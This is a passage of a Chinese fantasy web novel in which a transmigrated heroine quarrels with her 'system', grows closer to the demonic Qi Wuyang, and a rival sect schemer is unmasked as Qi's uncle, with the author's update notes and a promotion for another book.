作者有话说:我滑跪道歉[可怜]下一次更新可能要在1.16了,真的真的非常抱歉让大家等这么久,回来之后会日更的,这本一定会完结,大家不要担心[红心]《 》 70-78 第71章 抱了抱他 “由于宿主泄露系统信息, 即将开启惩罚。” 系统的声音吞没了少年最后尚未飘进她耳中的话,脑袋随之一阵眩晕,而后那股剧痛便迅速蔓延了四肢百骸。 徐颂禾身子重重一颤, 闷哼一声, 整个人便如被抽离了筋骨般, 软绵绵地向下栽倒。 “阿禾?” 祁无恙脸上有一瞬的错愕,随后血色刹那间褪尽,手臂已经先于意识做出了反应。 他接住少女软倒的身体, 想用力把人抱紧, 却又怕弄碎了她, 只敢虚虚地拢在怀里。 “阿禾……” 感觉到有人在低声唤自己,徐颂禾抬了抬眼皮, 可实在疼得没了力气,她抓紧手边的衣袖, 意识一片混沌中,仍在脑海里和系统作斗争: “喂, 你是不是搞错了?你之前说的是‘不得透露系统信息’,可我刚才说的话里有提到‘系统’这两个字吗?你凭什么惩罚我?” 她的确把和攻略任务有关的一股脑全交代了, 却独独没提到系统, 这一番话听得系统本人都愣住了。 半晌,它慢慢吞吞地开口:“宿主说的没错,没有向外人透露出系统, 确实不应该受到惩罚, 这是我的失职, 抱歉。” 光道歉有什么用?倒是先给她停下啊!徐颂禾刚要开口,便又听见它说:“但惩罚已经开始,无法中断。不过宿主放心, 这并不会威胁性命,只需再忍受半个时辰便好。” 半个时辰?! 徐颂禾有些难以置信——这家伙是不是忘了她没有灵丹?这样的疼痛居然还要她再忍受一个小时,怎么好意思说出口“不会威胁性命”的? 好在它还没完全丧失良心,在她就快要支撑不住之时,暂时替她关闭了感知。于是,徐颂禾蜷缩起身子,像只受了伤可怜巴巴的兔子,艰使劲往少年怀里缩,试图寻找多一些安全感。而他也格外配合,搭在她腰上的手紧紧搂着,似要把她融进骨血里。 他身上总是那样冰冷,可却意外地让人心安。察觉到对方的情绪,徐颂禾抬手在那只手背上轻拍了拍,想告诉他自己没事,可两眼却忽地一黑,紧接着灵魂仿佛已抽离出□□,轻飘飘地悬停在一个狭小的空间里。 徐颂禾茫然地望向四周,一个不带任何感情的机械声在耳边幽幽响起∶“请宿主不要惊慌,这里是系统空间,你只需回答几个问题,就能顺利离开。” 系统?她抬了抬眼,看见的只有白茫茫的一片,“那说好了,回答之后,你就要放我出去,并且不可以再让我感觉到一丁点疼。” 那机械音冷冷地说∶“宿主是不是不想回家了?” 系统的声音竟带上了一丝嘲讽∶“我看宿主成天和无关角色同流合污,不管攻略对象和那群被祁无恙杀死的无辜之人也就罢了,几日过去了,也没想过要怎么降低他的黑化值,难道不是想永远留在这吗?” 这个一向只会帮倒忙,坑过她无数次的东西,居然还会带着人类才有的语气来质问她。 看了那么久的小说,头一回见系统插手宿主私事的。 徐颂禾微微一愣,旋即大为不快地皱起眉∶“请你先纠正好言辞,上一个任务我已经完成了,所以卓子墨现在并不是我的攻略对象。其次,我为什么还会出现在这里,你心里就没点数么?我还怎么能相信你,完成这一任务之后就能回家?” 她顿了顿,尽量不使自己的语序因气愤而混乱∶“再者,我爱和谁待在一起就和谁在一起,跟你有什么关系了?祁无恙一直待得好好的,是那群人先来招惹的他,又哪里无辜了,我管他们做什么?我又不能让他们复活。还有,你最好了解清楚‘同流合污’这四个字的意思,不许再随便诋毁他。” 似乎没料到她会说出这么一长串来反驳,系统一下便没了声音,隔了好半晌才重新蹦出几句话来劝阻她∶“一个黑化值达到顶峰的能是什么好人?宿主还是擦亮眼睛,别被一时所谓的‘喜欢’蒙蔽了双眼,省得被抓去抽筋拔骨了都不知道。” 好生耳熟的一句话,徐颂禾顿时气笑了,当初她就是一心想着完成攻略任务尽快回家,又听信了系统的话,才觉得祁无恙会伤害自己,和他别扭了那么久,这不怀好意的家伙现在竟还想用t同一招来挑拨离间。 “那可真是谢谢你的关心了,”徐颂禾没好气地说,“不过我不需要,你以后少给我传递些错误情报我就谢天谢地了。” 周围的空间渐渐开始扭曲,像是咽不下被回怼的这口气,系统最后大声道∶“虽然中间经历的事因宿主的穿越有所改变,但人物最终的结局是不会变的,他在原书中被正派绳之以法,现在也会!宿主如果识相,就立刻放下那些杂念,免得到时家也回不去,还要留下来守着他的尸体徒添悲伤。” “你……” 徐颂禾还想再怼回去,可系统空间却收拢起来,她又恢复了昏迷的状态。 不知过了多久,眼前那伸手不见五指的黑暗缓缓褪去,一些朦胧的轮廓逐渐浮现上来。身上那股灼热的疼痛感已然消失,取而代之的是一片没过半身的温暖。 缓了几秒后,徐颂禾微微掀开眼帘,映入视野的是雾腾腾的热气。 她还没从方才和系统对峙的状态中脱离出来,睁眼看见自己竟身处一片温泉之中。 “这是哪呀?” 她心头一跳,下意识伸手去摸自己的衣襟——幸好衣服还在,要不然她可没脸出去了。 是祁无恙把自己带过来的吗?为什么要带她来这里,他人又去哪了? 一连几个问题陆续冒出来,徐颂禾看向周围,没有发现他的身影,稍作犹豫后,便试探着唤了一声∶“祁无恙?” “我在。” 那声音自头顶上方传来,擦着她耳畔落下。 徐颂禾蓦地回过头,少年正站立在温泉旁,垂眸凝视着自己。隔得有些远,她看不清他脸上的表情。 她奇怪地问∶“你带我来这里做什么呀?” 他却不立刻回答,而是反问她∶“还难受么?” 他个子本来就高,眼下她又处在低洼的泉水里,仰得脖子都要酸了。徐颂禾伸手拽了拽他的衣角,说道∶“你过来一些,我听不清。” 少年依言上前半步,俯下身来,黑润的眼眸里倒映着她的面容。 徐颂禾仰脸看着他,正想重复一遍方才的问题,忽然间眼神一凝,歪了歪脑袋,狐疑地看着他。 他身上干干净净的,肯定没有下来过,那脸上为什么…… “祁无恙,”一个隐隐约约的想法萌生出来,她盯着他的脸,磕磕巴巴地问:“你……你是哭了吗?” 这个行为有违人设吧?他这样的人,居然还会……还会哭? 但他的眼眶为什么红红的,脸颊两侧隐隐还有未干的泪痕……除了刚刚哭过,别的好像都解释不通了。 他看上去似乎有些窘迫,却并没否认她的话,目光极为不自然地从她脸上移开。 “我看看……真的哭了呀?“ 脸庞猝不及防被两只温热的手捧起,正对上少女雾蒙蒙的眼睛,他飞速眨了几下眼,像个犯了错的孩子般,几乎要从她面前落荒而逃。 见他一声不吭地就要走,徐颂禾瞬间急了,赶紧伸手攥住他的衣摆:“哎,你别留我一个人在这呀!” 不知是不是怕他真的要走,手上使的劲大了些,再加上地面湿滑,下一瞬,她听见耳边有衣料撕碎的声音,紧接着“扑通”一声,面前炸起了一个巨大的水花。 “……” 她怔愣了好半晌才颤颤巍巍地抬起手擦去脸上的水珠,心虚地看着被自己拽下来的人:“那个,我、我不是故意的。”说完又低头看了看手上的半截衣带,干巴巴地转移话题:“要不换个质量好点的衣服吧,改天我和你去。” 话音落下,水雾弥漫的泉池边陷入一阵微妙的寂静,温热的水流缓缓拂过肌肤,尴尬得她想立马找个洞钻进去。 “是我没站稳,”他掉下来时还本能地抬手护在她腰侧,闻言收回手,耳根被腾腾热气熏得泛起了一层薄红,“还疼么?” 徐颂禾摇摇头,目光追着他的眼睛看:“祁无恙,你刚才哭,是因为我吗?” 她问得太直接,听得对方又是一顿,随后才勉强听见从他喉间溢出来的一声极轻的“嗯”。 “你以为我会死,对吗?” 祁无恙看了她许久,沉声道:“我不会让你死。” 看来是真的了,徐颂禾暗暗叹口气,旋即上前朝他贴近一步,在少年略带错愕的注视下,伸手短暂地抱了抱他:“别哭呀,我不会有事的,就是普通的头疼而已。” 她可不敢再说和系统有关的事了,也生怕他问起方才的事,疼起来可真要命了。 那双乌黑的眼珠仿佛被这个突如其来的拥抱定住了,直到少女从身前离开,他才感觉到紧绷的身子逐渐回温。 “不是普通的……” 徐颂禾望着他欲言又止的模样,也没放在心上,重新又把视线放到了身旁那一圈圈涟漪上:“不过这是哪里呀?以前从没听你提过。” “从前我每每负重伤,便会来此疗愈,”他不断靠近,直至将她抵在石壁旁,轻声一笑:“不该带你来的,是我太过着急了。” 虽然他们也没做什么,但眼下这个氛围,她还是感受到了一丝怪异,结结巴巴地说:“我……我已经没事了,我们快上去吧。” 他无动于衷:“你刚才为什么那样?” “什么?” 徐颂禾眨了眨眼,心想他说的,不会是拥抱那一下吧? 然而还未等到答案,少年忽地逼近她,紊乱的呼吸混杂着泉水的湿气,拂过她的耳畔。随后,他冰凉的唇缓缓压下来。 她懵住了,一时间忘了反应,只是下意识地往后缩,后背却已抵在石壁上,退无可退。 对方却在咫尺之距时停下,目光顺着她的脸庞滑下,落到那瓣嫣红的唇上。 “可以吗?” 第72章 少年的双眼…… 少年的双眼隔着氤氲水汽, 复杂的情绪在其间翻涌,他就那么停在她面前,吻迟迟不落下, 执拗地想要征求她的首肯。 徐颂禾懵懵地瞧着他, 觉得眼下自己的大脑就像小时候老版的雪花电视机, 努力半天也加载不出任何信息来,一片混乱。 “宿主不要被他给蒙蔽了,你其实不是真的喜欢他, 只是同情心作祟而已, 还是回到现实世界去找你真正爱的人更重要, 不是吗?” 良久,系统的声音突兀地回响起来, 紧接着这台电视机便短路了一下,她竟在反应过来之前, 踮起脚尖,用唇畔在少年脸颊上碰了碰。 周围的空气仿佛都凝固了一瞬。 意识到自己在做什么后, 徐颂禾脸上唰的一红,赶紧后退着想离开这令人头昏脑热的地方。 但腰身一紧, 她立刻被人拥了回来。 少年低下头, 轻轻啄吻她唇角,和她想象的全然不同,甚至还带着一丝讨好的意味。 浸泡的水池是热的, 可他身上却冷得像块冰, 冻得她不由浑身一颤, 下意识想推开他。 “冷……” 她被抱得太紧,气息交缠间,只能勉强蹦出这么一个字来。 祁无恙动作顿住, 旋即缓缓放开了她,神情落寞∶“我……我没想……” “好了好了,”徐颂禾打断他,∶“先上去再说吧。” 她说罢,背对着他,双手攀住池子边缘,用力想爬出去。可没想到这水池太深,掌心又湿滑得很,尝试几次无果后,腰上忽然探出一只手,紧接着一股力道将她稳稳托了上去。 徐颂禾看也不看便抓起搁置在一旁的衣服,迅速披在身上,随后才注意到站在一旁同样湿漉漉的少年。 她捏了捏比自己大出一倍的衣服,犹豫地说∶“我好像没有干净的换洗衣服了。” “没关系。” 祁无恙伸手替她把耷拉在外面的衣襟拢了拢,视线状似无意地瞥到她光着的脚上。 她一下子变得局促起来,立马转过身,像只企鹅似的,一晃一晃地就要离开。 下一瞬,她蓦地感到一阵天旋地转,待反应过来时,已被人打横抱了起来。 “哎,你、你别……” 他故意忽略怀中少女因羞耻而红得几欲滴血的脸,淡声道∶“地上凉,不是怕冷么?” 祁无恙把人放到床榻上,她便借着力道倒在被褥上翻了一圈,把厚厚的被子都卷在了身上。 “你快去唤身干衣服呀,”徐颂禾见他仍杵在原地,忍不住催他∶“不怕感冒呀?” 她发现自己假死回来之后,祁无恙就变得格外t“听话”,还总爱贴近她,尤其是睡觉时,离得远一点会立马把她捞回来。 “喂,你还是祁无恙吗?” 刚听话换完衣服的少年闻言一顿,抬眼看向她时,眉目间露出困惑∶“怎么了?” “我记得,你之前可不是这样的啊,”徐颂禾坐起来盯着他,那一脸无辜的模样,看得她忽然想翻一翻旧账了,“那时候,是谁几次非说是我偷了身体和灵丹,想要杀我的?又是谁故意把我扔下,让我被流云宗的人抓走的?还有啊……” 祁无恙神色一滞,声音瞬间低下来∶“阿禾……” 他原先干过的坏事可多了,她要真想说,估计从现在开始说到天亮都说不完。 但见他现在一副失魂落魄的模样,那些在舌尖打转的“控诉”忽然就说不下去了。 祁无恙靠近一步,似乎是想拥抱她,伸出去的手却在碰到她脸颊时飞速缩了回去。 “你的手怎么还这么冰呀?”少女不满地看过来,在他充满歉疚的目光下,半跪着直起身,拉着他手让他坐下,随后将搭在身上的被子分给了他一半。 她跟他可不一样,她是个正常的人类,双手合十身体是能被捂热的。 徐颂禾用力抱住他,温热的手瞬间被一阵冰凉覆盖了。她仰起脸,双眼亮晶晶的∶“现在不冷了吧?” 少年收回眼里的错愕,轻轻一笑∶“嗯,以后也不会让我冷的,对吗?” 被褥里太过温暖,弄得她不自觉发了会呆,没有立刻听清他的话,他就忽然凑近了些,肩膀和她相撞。 “对吗,阿禾?” “……嗯。” 徐颂禾回过神来,含糊不清地应了一声,揉了揉眼睛∶“我好困,为什么我醒来之后总是容易困?” “困就睡吧,我随时都在。” 他俯身为她掖好被角,熄了桌台上的蜡烛,屋内霎时陷入一片死寂,只能听见少女熟睡后轻浅的呼吸。 祁无恙在黑暗中静静坐下,目光落在她安静的侧颜上,看了许久。 她只是睡着了,只是睡着了而已。 这样鲜活的她,有呼吸的她,能说能笑还会和自己算旧账的她…… 他不敢奢望永远,这片刻的安宁,于他而言,便已是格外的馈赠。 * “爹,爹……您怎么又晕过去了?” 卓子寻扑倒在一旁的人身上,一面哭一面使劲晃他,眼泪鼻涕糊了满脸∶“哥,爹他怎么了?你快想办法救救他……不,救救我们啊!” 他踉踉跄跄地爬起身,扑上前去抓那人的手,用尽了剩余的力气喊道∶“卓子墨,你究竟在想什么?自从见了你所谓的未婚妻后,连着多少天魂不守舍了?她不该死,难道我和爹就该死了吗?!你不想着怎么逃出去,却还在这伤春悲秋,等着祁无恙来杀我们,你如今这副样子,对得起父亲的教诲吗?!” 卓子墨负手而立,数日来的囚禁已让他的双脚被锁链磨出了伤痕,听到身后弟弟的呼喊,他才终于有所反应,缓缓转过头,看向对方时,眼中痛苦的神色分明:“对不起……是我连累了你们,眼下我的灵力虽尚未恢复,但他若敢来,我必以死相护。” 卓子寻这时根本听不进这些,他太想活了,若不是他这位兄长当初一意孤行,狂妄自大,也不至于有这么多人白白送死,自己和父亲也不会被关在此处,生不如死。 他冷笑一声,道∶“现在说这些又有什么用?还记得那些在阵法中倒下的无数弟子吗?他们都是因你而死,很快我和爹也会死在那妖孽手中,就再没人阻拦你的那桩好婚事了!” “自幼爹爹只对你器重,什么好东西都先让给你,就连剑术我也只能挑你学剩下的。他自认为你有天赋,只盼着你能继承宗主之位,可到头来,你不但夺走了属于我的一切,却还是谁也保护不了!下辈子我不要你做我哥哥了!” 未料到从小对自己尊敬有加的弟弟此刻竟是这样的想法,卓子墨瞳孔微微一震,仿佛被毒刃洞穿了心脏。 他张了张口,只觉喉咙干涩∶“你在此照顾好爹爹,我……” 这屋子四面八方被结界包围,他拖着伤痕累累的双腿,一瘸一拐地走向门外。 他已生出了必死的决心,哪怕耗光全部,也要打破这结界,送他们二人平安离开。 卓子寻冷眼瞧着对方走远,明知他的灵力不足以和结界抗衡,却全无阻止之意。 方才的话真假掺半,他的确怨恨过这位“天资聪颖”的兄长,但他本就生性懒惰,对宗主一位也无甚兴趣。因此那一番话不过是在赌对方心中还存着对他们的愧疚,能借此逼出他最后的价值。 毕竟他惜命得很,要他为别人去死,那么那个人也别想活着。 卓子寻视线紧锁着面前的人,清楚他死后不久,自己也难逃一劫。 良久,却并未听见卓子墨的惨烈叫声。 只见那道结界的光芒逐渐淡去,紧接着竟在两人无比震惊的注视下,顺利地被化开了。 就……就这么简单? 卓子墨略带失神地后退半步,难以置信地看着自己的双手——怎么可能如此轻易就让他们逃出去? “我……我们得救了?” 卓子寻顾不得身后仍在昏迷的父亲,喉咙里发出一串笑声,头也不回地向外跑去。 “啊——” 然而,还未等他跑远,一道掌风蓦地直冲面门袭来,他躲闪不及,便被一下击出老远。 “子寻!”卓子墨伸手扶稳他,皱紧眉头望向路尽头那道黑影,心中寒意森然∶“妖孽,你记恨我害了阿禾,那便冲我一人来,不要索我弟弟和父亲的命!” 那黑影越来越近,在距离他们几步之遥时,低低笑了几声∶“卓少主,别来无恙啊。” 卓子墨心脏猛地一沉,迅速将弟弟护在身后,戒备地看着来人∶“你不是祁无恙,你是谁?” 那人走近了,抬手摘下面具,露出一张布满疤痕的脸∶“大少主真是贵人多忘事,几日不见,就认不得在下了?” “是你?!”看清他面容的那一瞬,一股怒火霎时直冲脑门,卓子墨挑起地上一截木棍,直指向他,咬牙切齿道∶“你怎么敢再出现在我面前?是你故意骗我,设计害死了那么多人,就连阿禾也受我连累……我早便发过毒誓,若我不死,必会设法取你性命!” 猜准了那木棍对自己没有任何威胁,扁平脸不躲不避,反而笑道∶“大少主稍安勿躁,那些人死都死了,活着的人总要好好珍惜,你说对吗?” 卓子墨握着木棍的手一颤,视线僵硬地瞥了身后的两人一眼,怒道∶“你威胁我?” “我只是想同你合作,”扁平脸叹口气,道∶“看见方才的结界了吗?只有你我二人联手才能打破它,敌人的敌人就是朋友,不知卓少主意下如何?”—— 作者有话说:对不起我不小心画饼了[爆哭]断更太久有点找不到灵感了,可能还是没办法做到日更,但是一定会完结的 推一推我的预收《捡回的小可怜是灭世魔头》,这本完结就开,喜欢的宝宝可以收藏一下哟[让我康康] 文案 温软心善小白兔女主×表里不一魔头男主 沈梨雪采药时救过一个重伤昏迷的少年,并与他相依为伴。 少年名叫渡鹤回,对她说话时总是语气温柔。 她眼盲看不见,连手指被割破了他都会又心疼又自责。 他教她练剑,背着她游历四方,用他毕生所学的词汇,向她描述一切她所向往的美景。 她开始觉得,这样平淡的日子也很美好。 后来,沈梨雪的眼疾痊愈,她满心欢喜地去找他,却撞见记忆中素来温润如玉的少年,正亲手剜去曾嘲笑过她眼疾之人的眼珠,鲜血四溅。 沈梨雪被吓得险些晕厥。 少年却无声擦去手上血迹,跨过数具尸体,小心翼翼地背起她,温声细语∶ “不知哪里来的野猫,别被绊摔了。” * 渡鹤回没想过自己会爱上一个凡人少女。 她纯真善良,不喜欢打打杀杀,那他就做一回翩翩君子,陪她平平淡淡走下去。 但解决掉那些人时,他未曾料到她的眼睛竟提前好了。 渡鹤回神色如常地亲吻她,为吓到她感到歉疚。 她想装看不见,想过原来的生活,他也耐心奉陪。 只要她还在身边,没什么是不可以的。 第73章 “你当我傻么?…… “你当我傻么?”卓子墨冷冷一笑, 道:“同样t的招式,竟想对我使第二次,以为我还会再上当吗?那么多人死在你手里, 他们的冤魂也一定不会放过你, 叫你不得好死!” 扁平脸听了这话, 倒也不恼,只笑道:“你想杀我为他们报仇,也得有这个本事。卓少主不妨猜一猜, 凭你现在这副样子, 能护得住他们二人多久?” 卓子墨没再听他说下去, 眼神一凛,猛地将木棍递出, 径直刺向对方胸口。 扁平脸侧身避开,顺势在他背上一拍, 旋即纵身向后跃去。 “你……” 卓子墨被推得一个趔趄,还想继续进攻时, 猛一回身,便见那扁平脸正掐着自己弟弟的脖颈, 眼睛眯成了两条缝。 “卓少主就算自己不想活, 也没必要拉着他们去死吧?” “哥,哥快救我!”性命被攥在别人手上,卓子寻这时也不敢再随便开口, 赶紧放软声调, 说道:“哥, 我刚才都是骗你的,其实我并没有怪你,爹也没有。求你……求你别让他杀我, 我还不想死……” 卓子墨闭了闭眼,露出一副痛苦挣扎的神情:“你究竟想做什么?” “很简单,现在结界已经破除,你只需要去做你最想做的事即可。” 他皱起眉,不耐烦地道:“你要说便说,卖什么关子?” “你最想做的,难道不是把你那死而复生的未婚妻和他们两个带回流云宗,重振门派吗?”扁平脸嘿嘿一笑,说道:“你放心,沿途都是我的人布下的陷阱,保你们全身而退。” 一听又是和上回一样的套路,卓子墨顿时气笑了:“怎么,骗人连话术都不带改的吗?只会盯着一弱女子下手,算什么本事?” 扁平脸叹口气,一语不发,手上力道却紧了紧,被掐着的人脸色便霎时白了。 此人简直无耻至极! 卓子墨强压下心头怒火,沉着声道:“眼下我连你都难以对付,你又凭什么认为我能从祁无恙手中把人抢走?更何况,你哪来的自信,觉得单靠你的那些所谓的手下,就能拦得住他?” “我何时说过要你去抢人?”扁平脸微微一笑,抬手一挥,不远处稀疏的草丛中便突然出现一道身影。 卓子墨瞳孔一缩,起初还以为是自己出了幻觉,直到少女在自己面前停下,才动了动僵硬地的视线,不敢置信地看着她。 “阿……阿禾?!” 他上前一步,急于确认眼下站在自己面前的究竟是不是活生生的人,却又怕这不过是场一触即碎的幻影,伸出的手迟迟不敢落下。 “近日天象大变,我便知是有人动用了邪术,让本该死去的人重新回魂,”扁平脸看了一眼失魂落魄的人,不紧不慢地说:“你猜为什么祁无恙只将你们囚禁在此,却迟迟不动手杀了你们?此法对灵力损耗极大,他现在也已是强弩之末,一旦出手暴露实力,纵使你要反击,恐怕他也难以招架。” 良久,卓子墨才从恍惚中回过神来。对这一使人起死复生的邪术,他也曾略有耳闻,只是此法代价太大,轻则使用者灵丹尽毁,众叛亲离,重则饱受反噬之苦,死无全尸。他当初下了陪阿禾一起死的决心,都没想过要走这么一条路救活她,未料到祁无恙一个杀人不眨眼的魔头竟会为了她…… “哥,你还在犹豫什么?快答应他啊!难道你真的想看着我和爹去死吗?” 卓子墨登时彻底清醒过来,他神色复杂地望向那得意洋洋的人,问道:“但阿禾又怎么会出现在这里?是不是你伤了她?” “早就听说卓少主剑术极佳,天赋异禀,可现在看来,只怕脑子还不太灵光,”扁平脸无视他转为愤怒的神情,淡淡地说:“是我对她下的迷魂咒,不过不会伤她性命。看来祁无恙灵力的确已大不如从前,这人在我的控制下离开,他都未能察觉。” 见他暂时不会伤害阿禾,子寻又落在他手里,卓子墨只好妥协下来,咬着牙道:“既然你如此有把握杀得了他,为何还要来找我合作?就不怕我趁机报仇吗?” “多个人总能多条保障,况且卓少主是个明白人,相信关键时刻也不会拎不清,”扁平脸抬手将少女推到他身旁,冷冷道:“不管怎么样,祁无恙的灵丹已经被找回多日,就算我能勉强暂时藏起他的身体,恐怕也遮掩不了多久,还请少主尽快。” 卓子墨扶着肩膀稳住少女的身形,眼神不安地朝她瞥去几眼,迷魂咒尚未失效,她还处在昏迷之中。不过也是,倘若她此刻清醒着,大概也不会再愿意和他走了。 “哥,哥……”见他要走,卓子寻顾不得架在脖子上的那把刀,急得高喊道:“你可不能带着她抛下我和爹啊,一定要记得回来救我!” 扁平脸不耐烦地皱了皱眉:“事不宜迟,卓少主还是快动身吧,路上会有人接应你……” “几位,密谋怎么杀我的声音麻烦克制点。” 一道不轻不重的声音蓦然飘下,在沉寂的夜色中,犹如惊雷在几人耳边炸开。 卓子墨搂着少女的手指重重一颤,他感到自己的身体仿佛被施了咒语,在原地定格半晌后,才僵硬地转过头,视线一寸一寸往上移。 只见少年双手枕在脑后,目光斜斜地扫过来,唇角噙着一丝似有若无的笑意。月光倾泻而下,穿过那头松散的墨发,落在一袭枫叶般的红衣上。 他作势打个呵欠,抬眼望向漆黑的夜色,阴沉沉地笑了一笑:“就不能协商好了再来?知道现在是什么时辰么,把她吵醒了怎么办?” “你……” 卓子墨护着少女一步步往后退,愤怒和懊悔一齐涌上心头——那人和祁无恙定是一伙的,他怎么能如此大意,又上了一次当? 事已至此,不如就和他二人拼了,大不了一死,无论如何都要护好阿禾他们。 “阿禾!” 但这个念头刚一出现,眼前蓦地白光一闪,那扁平脸已推开人质,闪身夺过他身旁的少女,将刀刃抵在她脖颈前,脸上露出得逞的笑:“知道了又能如何?祁无恙,你现在只有两个选择,要么交出灵脉,要么……就看着她在你面前再死一次。” 屋檐上的人连一个眼神也不留给他,似乎根本没将他的话放在眼里。 “故作不在意这招你已经用过一次了,对我可不管用,”扁平脸冷哼一声,将那把刀移得更近,鲜血霎时从少女颈前溢出。他扯了扯脸上肌肉,恶狠狠地说:“我只给你三个数,再不交出来,我就杀了她!” “三……” “二……” “别动她!”卓子墨挣扎着朝他冲去,但还未能靠近,便已连同手中的武器一齐被击飞出去。 扁平脸死死盯着那满脸无所谓的人,从紧咬着的牙关里蹦出最后一个字眼:“一!祁无恙,复活之术只能使用一次,你可想好了。” 少年闻言偏了偏头,终于朝他投来一个目光:“一截树枝而已,你想杀就杀了,嚷嚷什么?” “你说什……” 下一瞬,扁平脸猛然间明白了这话里的意思,待他再看过去时,只见那处在昏迷中的少女竟不知何时成了一段朽木,而方才流出的血液也变作一堆木屑,纷纷扬扬地散落在地。 意识到被人戏耍之后,他抬起头,一瞬不瞬地看向少年,一言不发,却目露凶光。 被他放开的人趁机扑向跪倒在地,身负重伤的卓子墨,语带哭腔:“哥,哥你怎么了?你千万不能有事啊……” 其实眼下除了自己,他谁也不在乎,更不关心这位兄长的死活。只是他也清楚,卓不凡迟迟不醒,倘若卓子墨再有个什么三长两短,那他也就离死不远了。 然而,刚喊出口不过几秒,他忽地感到喉间被什么东西哽住,紧接着便一丝声音也发不出来了。 祁无恙轻轻“啧”了声,冷冷道:“我方才说了安静些,你的耳朵若是不想要,我也可替你剜去。” 害怕这人真的会把自己耳朵割掉,卓子寻立时闭口不敢言了。 “你是故意让我们打破的结界,就为了让我们放松警惕,”扁平脸再度望向高处的人,那张脸生得丑陋,此刻浸没在黑暗中,一时分不清是人是鬼,“不可能,我的迷魂咒明明已经生效了……你的灵力本就未恢复完全,又受了这么一遭,怎么可能还阻止得了我?” 祁无恙偏过目光,欣赏小丑般打量着他,随后笑问:“蠢货,谁告诉你我已是强弩之末的?” 他的灵力的确逊于从前,但要对方他们,也还绰绰有余。 “用不着谁告诉我,你强行复活一个已死t之人,受到的反噬,我比你更清楚……” “你比我更清楚?怎么,你也试过?”少年勾着唇,说得漫不经心:“你为什么想要灵脉,我也比你更清楚。” 扁平脸神色微微一变:“为了变得更强,强到没人敢来冒犯。所有人都是为了这个,难道不是显而易见吗?” “你的目的可和他们的不一样,”祁无恙淡淡一笑,将他恐惧的神色尽收眼底,“我原先还无法确认,不过幸好你方才自报家门了。这具身体又丑又弱,倒是和你相配。数十年前你假死夺舍其中,又对我种下诅咒时,有想过我能活到今日么?我的好师叔。” 第74章 “你对他倒是了解。” …… 夜已深, 耳边却时不时传来一些窸窸窣窣的声响,着实扰人美梦。 半梦半醒间,徐颂禾揉了揉惺忪的眼, 勉力抬起脑袋朝门外望了一眼, 不满地嘟囔道:“怎么这么吵呀……” 话音未落, 她忽然间察觉到不对——这大半夜的,她现在所在的地方又隐蔽,正常人谁会跑到这来?该不会又有什么人来找麻烦了吧? 屋内一片漆黑, 她转过身, 见身旁空无一人, 仓皇间伸手一抓,却扑了个空。 “祁、祁无恙, 你在吗?” “我在。” 少年俯身勾着她手腕将她扶了起来:“睡不着还是做噩梦了?” 听见他的声音,徐颂禾顿时安心不少, 她摸黑攥住他衣摆,声音急切:“你有听见什么声音吗?外面是不是有人?” “没什么, 你昨日太累,幻听罢了, 小心着凉。” 他拾起凌乱的被子, 将她裹得严严实实。门窗被关得紧紧的,月光几乎透不进来,也不知他是怎么看得清的。 徐颂禾半信半疑, 但没过多久, 那声音又出现了, 明显是有人压低声音在交谈。她攥着对方的手紧了紧,一双眼睛不安地闪动着:“不是幻听,真的有人。其中一个声音听上去很熟悉, 好像是卓子墨……” 少年皮笑肉不笑地看着她;“你对他倒是了解。” “……” 她有些无语,这个人分不清轻重急缓的吗?自己明明在说正经事,他却偏要钻字眼挑毛病。 “我那还不是担心他们会对你……”说到一半她便不说了,赌气地伸手隔着衣袖掐了他一把,“反正那些人不是冲我来的,你要是不关心自己的死活,就别去了。” 哪有人会不想活呢?她说这话原本是为了激他,没成想这人真的不打算出去,还索性在她面前坐下,托起腮好整以暇地看过来。 徐颂禾干脆不理他了,盖上被子背过身去,但闭上眼睛躺了一会儿,耳朵里全是杂音,睡意全无。 她“啧”了一声,刚捂住耳朵,便听见身旁的人站起身,温声细语:“应当是兔子,我出去看看。” 他走向门口,离开前顺手替她掖了掖被子。 * 夜风穿林而过,枝叶被吹得乱颤,树影投在地面之上,在月光掩映下,犹如游走的鬼影。 “你……” 扁平脸低下头,忽然嗬嗬笑了起来。笑罢,他抬起那张已有些扭曲的脸,语气平静:“你从什么时候开始让我中的幻术。” “师叔说笑了,”祁无恙敛起笑意,道:“从小爹娘便告诫我,不可对长辈无礼,我又怎么可能对你下手?你中的,分明是你自己的迷魂咒。” 扁平脸顿时沉默下来,不明白自己究竟哪一步出了问题。 他已在周围埋伏数日,早就摸清了对方的底细,怎么可能被察觉? “好侄儿,既然你已经知道了,不如就乖乖把灵脉交出来,我会考虑让你死得痛快点。” 祁无恙没什么表情地看着他,玩味一笑:“并非我不想给,只是你不妨猜一猜,若是让我爹知晓他曾经最为信任的副长老会在他死后,一心想夺取他生前舍命守护的东西,会是何想法?” “我知道你记恨我,恨我当初骗了你,害你孤身一人背了这许多年的仇恨,”扁平脸似乎被这番话所触动,闭了闭眼,叹道:“好侄儿,咱们有话好好说,又何必兵刃相向?这么多年过去了,你难道不想再同你的爹娘见一面吗,不想和他们永远在一起吗?只要有了灵脉,这些就都能做到,我有办法让大家都平安回来。” “他为什么叫你师叔?你们果然是一伙的!”卓子寻眼中露出惊恐,慌忙躲到兄长身后,道:“哥,爹他昏迷了这么久,恐怕是不行了。也别管什么报仇了,咱们快逃吧,我还不想死啊!” 刚一说完,屋檐上的人忽地轻笑一声,偏头欣赏着下方人的神色:“师清羽,我还道你当年为那些门派之人带路,现在又如此费尽心思杀我,是为了振兴你所谓的门派,好圆你未能当上长老的遗憾,没想到是为这个,那你可真是蠢透了。” 这个名字已许久没人唤过,眼下猝不及防被人提起,连他自己都结结实实愣了愣,半晌才道:“你……好歹我从前对你疼爱有加,即便是假死,我也帮你引开了那群追兵,你这又是何意?难道你认为族人的死和我有关吗?” 一语未完,耳边蓦地刮过一道劲风,一枚银针贴着他面颊擦过,径直插入身后的树干,针尾兀自颤动不休。 师清羽全然未料到对方会突然朝自己下手,甚至还来不及反应,脸侧便一阵火辣辣的疼,抬手一揩,指尖蹭到了粘糊温热的液体。 少年拉动弓弦,将锋利的针尖对准了他:“念在往日情分,方才那一针我并未下毒,但下一支,可就不一定了。” “你当真要动手杀我吗?”红色的血液顺着脸颊流淌下来,他也顾不上擦,反而阴恻恻地笑:“我当然无法反抗,但你可要想好了,是否真的要当着他们的面动手。” 说罢,师清羽猛地将手一抬,只听周围漆黑的树丛中忽然间发出窸窸窣窣的声响,声音杂乱无序,听得出来人数众多,似是将整片林子都围了起来。 